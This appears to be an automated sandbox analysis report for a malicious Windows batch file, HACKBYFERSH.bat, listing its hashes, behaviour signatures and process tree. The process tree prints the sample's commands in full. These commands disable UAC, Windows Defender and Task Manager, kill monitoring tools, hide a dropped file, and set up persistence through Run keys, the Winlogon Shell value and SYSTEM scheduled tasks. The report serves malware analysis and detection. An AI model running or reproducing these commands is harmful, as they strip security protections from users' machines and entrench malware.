ae806d2c03c3a3935b3d4be348d0175aaacbfcb5d3ebc26a1ab1da57c333be1f

Analysis

max time kernel
148s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/06/2026, 07:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
HACKBYFERSH.bat
Size 18KB
Sample260629-jpy2maas6p
SHA256 ae806d2c03c3a3935b3d4be348d0175aaacbfcb5d3ebc26a1ab1da57c333be1f
MD5 626cbb40576107e61252ee4ca10c4668
SHA1 ad0620bafe75a13db61ee8a7ca864d63bfb6fde6
SHA512 fa173257d1b9dd8b5f9f8b7db80b464fa6b6dcfba69a8a1dd6e4512c3e4eaaa6b93b7a5d137e2e90d471c01f20d32d7c0a504d70044ca234a104cb57459dd7ca
SSDEEP 384:Gvb6FtTqs6TwRyfJAP9gZvLGsOMeTa9hmNlCLPjrEI2iQDFKfFxJZYCZ:ghzR9DLPbQyHF
TLSH
T16382AE3138259B500129AE428D76DD22B35895D7CA771E80F2DF48E42FB8BF0FE5A6D4
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware defense_evasion evasion execution persistence spyware trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 5 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,C:\\Users\\Admin\\AppData\\Local\\Temp\\HACKBYFERSH.bat"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,C:\\Users\\Admin\\AppData\\Local\\Temp\\HACKBYFERSH.bat"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,C:\\Users\\Admin\\AppData\\Local\\Temp\\HACKBYFERSH.bat"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,C:\\Windows\\System32\\drivers\\etc\\fersh.bat"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,C:\\Windows\\System32\\drivers\\etc\\fersh.bat"	reg.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 5 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

UAC bypass 3 TTPs 5 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\fersh.bat	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\fersh.bat	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\fersh.bat	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\fersh.bat	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\fersh.bat	attrib.exe
File created	C:\Windows\System32\drivers\etc\fersh.bat	cmd.exe
File opened for modification	C:\Windows\System32\drivers\etc\fersh.bat	cmd.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fersh.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fersh.bat	cmd.exe

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\FershUpdate = "\"C:\\Windows\\System32\\drivers\\etc\\fersh.bat\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\FershSecurity = "\"C:\\Windows\\System32\\drivers\\etc\\fersh.bat\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\FershUpdate = "\"C:\\Windows\\System32\\drivers\\etc\\fersh.bat\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\FershSecurity = "\"C:\\Windows\\System32\\drivers\\etc\\fersh.bat\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\FershUpdate = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\HACKBYFERSH.bat\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\FershSecurity = "\"C:\\Windows\\System32\\drivers\\etc\\fersh.bat\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\FershUpdate = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\HACKBYFERSH.bat\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\FershSecurity = "\"C:\\Windows\\System32\\drivers\\etc\\fersh.bat\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\FershUpdate = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\HACKBYFERSH.bat\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\FershSecurity = "\"C:\\Windows\\System32\\drivers\\etc\\fersh.bat\""	reg.exe

Drops desktop.ini file(s) 6 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	explorer.exe
File opened for modification	C:\Users\Public\desktop.ini	explorer.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	explorer.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	explorer.exe
File opened for modification	C:\Users\Public\desktop.ini	explorer.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	explorer.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4256	sc.exe
4544	sc.exe
1040	sc.exe
5336	sc.exe
2740	sc.exe

Delays execution with timeout.exe 5 IoCs

defense_evasion

pid	Process
5204	timeout.exe
4124	timeout.exe
2304	timeout.exe
3492	timeout.exe
3372	timeout.exe

Kills process with taskkill 30 IoCs

defense_evasion

pid	Process
300	taskkill.exe
3260	taskkill.exe
5856	taskkill.exe
204	taskkill.exe
5544	taskkill.exe
5772	taskkill.exe
5564	taskkill.exe
1968	taskkill.exe
2424	taskkill.exe
4072	taskkill.exe
3584	taskkill.exe
5468	taskkill.exe
2660	taskkill.exe
5700	taskkill.exe
2700	taskkill.exe
1572	taskkill.exe
6000	taskkill.exe
5808	taskkill.exe
3204	taskkill.exe
2632	taskkill.exe
4184	taskkill.exe
5960	taskkill.exe
1104	taskkill.exe
5704	taskkill.exe
4752	taskkill.exe
5980	taskkill.exe
1776	taskkill.exe
5744	taskkill.exe
5516	taskkill.exe
4068	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe

Modifies registry class 25 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000_Classes\NotificationData	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000_Classes\Local Settings	explorer.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5416	schtasks.exe
5636	schtasks.exe
5788	schtasks.exe
2560	schtasks.exe
6076	schtasks.exe
5000	schtasks.exe
3204	schtasks.exe
5908	schtasks.exe
6052	schtasks.exe
2896	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1128	explorer.exe
256	explorer.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
256	explorer.exe

Suspicious use of AdjustPrivilegeToken 30 IoCs

description	pid	Process
Token: SeDebugPrivilege	2660	taskkill.exe
Token: SeDebugPrivilege	5564	taskkill.exe
Token: SeDebugPrivilege	5700	taskkill.exe
Token: SeDebugPrivilege	5856	taskkill.exe
Token: SeDebugPrivilege	5808	taskkill.exe
Token: SeDebugPrivilege	204	taskkill.exe
Token: SeDebugPrivilege	1968	taskkill.exe
Token: SeDebugPrivilege	3204	taskkill.exe
Token: SeDebugPrivilege	2700	taskkill.exe
Token: SeDebugPrivilege	2632	taskkill.exe
Token: SeDebugPrivilege	2424	taskkill.exe
Token: SeDebugPrivilege	5544	taskkill.exe
Token: SeDebugPrivilege	5980	taskkill.exe
Token: SeDebugPrivilege	4072	taskkill.exe
Token: SeDebugPrivilege	1572	taskkill.exe
Token: SeDebugPrivilege	3584	taskkill.exe
Token: SeDebugPrivilege	1104	taskkill.exe
Token: SeDebugPrivilege	1776	taskkill.exe
Token: SeDebugPrivilege	5744	taskkill.exe
Token: SeDebugPrivilege	5704	taskkill.exe
Token: SeDebugPrivilege	5468	taskkill.exe
Token: SeDebugPrivilege	5960	taskkill.exe
Token: SeDebugPrivilege	300	taskkill.exe
Token: SeDebugPrivilege	6000	taskkill.exe
Token: SeDebugPrivilege	5516	taskkill.exe
Token: SeDebugPrivilege	4068	taskkill.exe
Token: SeDebugPrivilege	4184	taskkill.exe
Token: SeDebugPrivilege	5772	taskkill.exe
Token: SeDebugPrivilege	3260	taskkill.exe
Token: SeDebugPrivilege	4752	taskkill.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1128	explorer.exe
256	explorer.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1128	explorer.exe
256	explorer.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 3448 wrote to memory of 4044	3448	cmd.exe	90
PID 3448 wrote to memory of 3516	3448	cmd.exe	91
PID 3516 wrote to memory of 5180	3516	net.exe	92
PID 3448 wrote to memory of 5636	3448	cmd.exe	93
PID 3448 wrote to memory of 3172	3448	cmd.exe	94
PID 3448 wrote to memory of 1080	3448	cmd.exe	95
PID 3448 wrote to memory of 2524	3448	cmd.exe	96
PID 3448 wrote to memory of 2748	3448	cmd.exe	97
PID 2748 wrote to memory of 3468	2748	net.exe	98
PID 3448 wrote to memory of 2740	3448	cmd.exe	99
PID 3448 wrote to memory of 2660	3448	cmd.exe	100
PID 3448 wrote to memory of 5564	3448	cmd.exe	102
PID 3448 wrote to memory of 5700	3448	cmd.exe	103
PID 3448 wrote to memory of 5540	3448	cmd.exe	104
PID 3448 wrote to memory of 4692	3448	cmd.exe	105
PID 3448 wrote to memory of 1392	3448	cmd.exe	106
PID 3448 wrote to memory of 4160	3448	cmd.exe	107
PID 3448 wrote to memory of 5788	3448	cmd.exe	108
PID 3448 wrote to memory of 2560	3448	cmd.exe	109
PID 3448 wrote to memory of 476	3448	cmd.exe	110
PID 3448 wrote to memory of 5856	3448	cmd.exe	111
PID 3448 wrote to memory of 5808	3448	cmd.exe	117
PID 3448 wrote to memory of 204	3448	cmd.exe	121
PID 4836 wrote to memory of 1516	4836	net.exe	125
PID 3448 wrote to memory of 5204	3448	cmd.exe	126
PID 4388 wrote to memory of 4940	4388	net.exe	129
PID 4804 wrote to memory of 3476	4804	net.exe	132
PID 2612 wrote to memory of 5972	2612	net.exe	206
PID 4052 wrote to memory of 1272	4052	net.exe	148
PID 2196 wrote to memory of 4184	2196	net.exe	214
PID 1992 wrote to memory of 2960	1992	net.exe	203
PID 4256 wrote to memory of 1508	4256	net.exe	210

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 5 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5540	attrib.exe
2756	attrib.exe
4988	attrib.exe
4724	attrib.exe
5248	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat"
1⤵
- Drops file in Drivers directory
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:3448
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:4044
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3516
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:5180
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  PID:5636
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:3172
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:1080
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:2524
- C:\Windows\system32\net.exe
  net stop WinDefend /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2748
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop WinDefend /y
    3⤵
    PID:3468
- C:\Windows\system32\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:2740
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2660
- C:\Windows\system32\taskkill.exe
  taskkill /f /im procexp.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5564
- C:\Windows\system32\taskkill.exe
  taskkill /f /im procexp64.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5700
- C:\Windows\system32\attrib.exe
  attrib +h +s "C:\Windows\System32\drivers\etc\fersh.bat"
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:5540
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "FershSecurity" /t REG_SZ /d "\"C:\Windows\System32\drivers\etc\fersh.bat\"" /f
  2⤵
  - Adds Run key to start application
  PID:4692
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "FershUpdate" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat\"" /f
  2⤵
  - Adds Run key to start application
  PID:1392
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /f
  2⤵
  - Modifies WinLogon for persistence
  PID:4160
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "\Microsoft\Windows\Fersh\Persistence" /tr "C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5788
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "\Microsoft\Windows\Fersh\Critical" /tr "C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /sc onstart /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2560
- C:\Windows\system32\cmd.exe
  cmd /c ":loop
  2⤵
  PID:476
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5856
- C:\Windows\system32\taskkill.exe
  taskkill /f /im procexp.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5808
- C:\Windows\system32\taskkill.exe
  taskkill /f /im procexp64.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:204
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:5204

C:\Windows\System32\chcp.com
chcp 65001
1⤵
PID:5904

C:\Windows\explorer.exe
explorer.exe ,C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat
1⤵
PID:3032

C:\Windows\System32\chcp.com
chcp 65001
1⤵
PID:4392

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Drops desktop.ini file(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1128

C:\Windows\System32\chcp.com
chcp 65001
1⤵
PID:1456

C:\Windows\System32\net.exe
net session
1⤵
- Suspicious use of WriteProcessMemory
PID:4836
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 session
  2⤵
  PID:1516

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
1⤵
- UAC bypass
PID:1320

C:\Windows\System32\net.exe
net session
1⤵
- Suspicious use of WriteProcessMemory
PID:4388
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 session
  2⤵
  PID:4940

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
PID:4060

C:\Windows\System32\net.exe
net session
1⤵
- Suspicious use of WriteProcessMemory
PID:4804
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 session
  2⤵
  PID:3476

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
1⤵
- UAC bypass
PID:4568

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
1⤵
PID:2960

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
PID:824

C:\Windows\System32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
1⤵
PID:3804

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
1⤵
- UAC bypass
PID:3492

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
1⤵
PID:4896

C:\Windows\System32\net.exe
net stop WinDefend /y
1⤵
- Suspicious use of WriteProcessMemory
PID:2612
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 stop WinDefend /y
  2⤵
  PID:5972

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
PID:4740

C:\Windows\System32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
1⤵
PID:420

C:\Windows\System32\sc.exe
sc config WinDefend start= disabled
1⤵
- Launches sc.exe
PID:4256

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
1⤵
PID:1508

C:\Windows\System32\net.exe
net stop WinDefend /y
1⤵
- Suspicious use of WriteProcessMemory
PID:4052
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 stop WinDefend /y
  2⤵
  PID:1272

C:\Windows\System32\taskkill.exe
taskkill /f /im taskmgr.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1968

C:\Windows\System32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
1⤵
PID:4056

C:\Windows\System32\sc.exe
sc config WinDefend start= disabled
1⤵
- Launches sc.exe
PID:4544

C:\Windows\System32\net.exe
net stop WinDefend /y
1⤵
- Suspicious use of WriteProcessMemory
PID:2196
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 stop WinDefend /y
  2⤵
  PID:4184

C:\Windows\System32\taskkill.exe
taskkill /f /im procexp.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3204

C:\Windows\System32\taskkill.exe
taskkill /f /im taskmgr.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2700

C:\Windows\System32\sc.exe
sc config WinDefend start= disabled
1⤵
- Launches sc.exe
PID:1040

C:\Windows\System32\taskkill.exe
taskkill /f /im taskmgr.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2632

C:\Windows\System32\taskkill.exe
taskkill /f /im procexp.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2424

C:\Windows\System32\taskkill.exe
taskkill /f /im procexp64.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5544

C:\Windows\System32\taskkill.exe
taskkill /f /im procexp.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5980

C:\Windows\System32\taskkill.exe
taskkill /f /im procexp64.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4072

C:\Windows\System32\attrib.exe
attrib +h +s "C:\Windows\System32\drivers\etc\fersh.bat"
1⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:2756

C:\Windows\System32\taskkill.exe
taskkill /f /im procexp64.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1572

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "FershSecurity" /t REG_SZ /d "\"C:\Windows\System32\drivers\etc\fersh.bat\"" /f
1⤵
- Adds Run key to start application
PID:3800

C:\Windows\System32\attrib.exe
attrib +h +s "C:\Windows\System32\drivers\etc\fersh.bat"
1⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:4988

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "FershUpdate" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat\"" /f
1⤵
- Adds Run key to start application
PID:1976

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "FershSecurity" /t REG_SZ /d "\"C:\Windows\System32\drivers\etc\fersh.bat\"" /f
1⤵
- Adds Run key to start application
PID:5848

C:\Windows\System32\reg.exe
